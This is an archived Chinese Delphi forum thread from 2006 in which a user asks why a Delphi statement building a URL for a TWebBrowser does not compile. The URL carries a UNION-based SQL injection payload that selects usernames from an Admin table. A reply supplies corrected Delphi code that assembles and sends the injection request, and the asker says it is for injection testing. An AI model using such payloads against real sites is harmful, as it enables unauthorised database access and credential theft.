WebBrowser中url 连接问题

wusongping 2006-12-02 08:01:34
实现:点了button以后发送 edit1.text + '后面的一串' 到web服务器

后面一串如下:

/Region.asp?Country=tt&City=fucka&Province=bug' and 1=2 union select username from Admin where 1<2 and '1'='1

我的代码

procedure TForm1.Button2Click(Sender: TObject);
begin
self.WebBrowser1.Navigate(edit1.Text+'/Region.asp?Country=tt&City=fucka&Province=bug''+'and'+'1=2'+'union'+'select'+'username'+'from'+'Admin'+'where'+'1'+'<'+'2'+'and'+'1'='1);
end;

提示有错误:Missing operator or semicolon

望朋友指点
...全文
224 2 打赏 收藏 转发到动态 举报
写回复
用AI写文章
2 条回复
切换为时间正序
请发表友善的回复…
发表回复
wusongping 2006-12-02
  • 打赏
  • 举报
回复
多谢指点,这个字符串是测试注入的
lihuasoft 2006-12-02
  • 打赏
  • 举报
回复
如果你的URL就是那样的(我没有看出提交给ASP的那些字串是什么意思),那么,可以按下面这样:
var s:string;
begin
s:=s+'/Region.asp?Country=tt&City=fucka&Province=bug';
s:=s+quotedstr(' and 1=2 union select username from Admin where 1<2 and ');
s:=s+'1';
s:=s+quotedstr('=');
s:=s+'1';
WebBrowser1.Navigate(edit1.Text+s);
end;

1,593

社区成员

发帖
与我相关
我的任务
社区描述
Delphi 网络通信/分布式开发
社区管理员
  • 网络通信/分布式开发社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧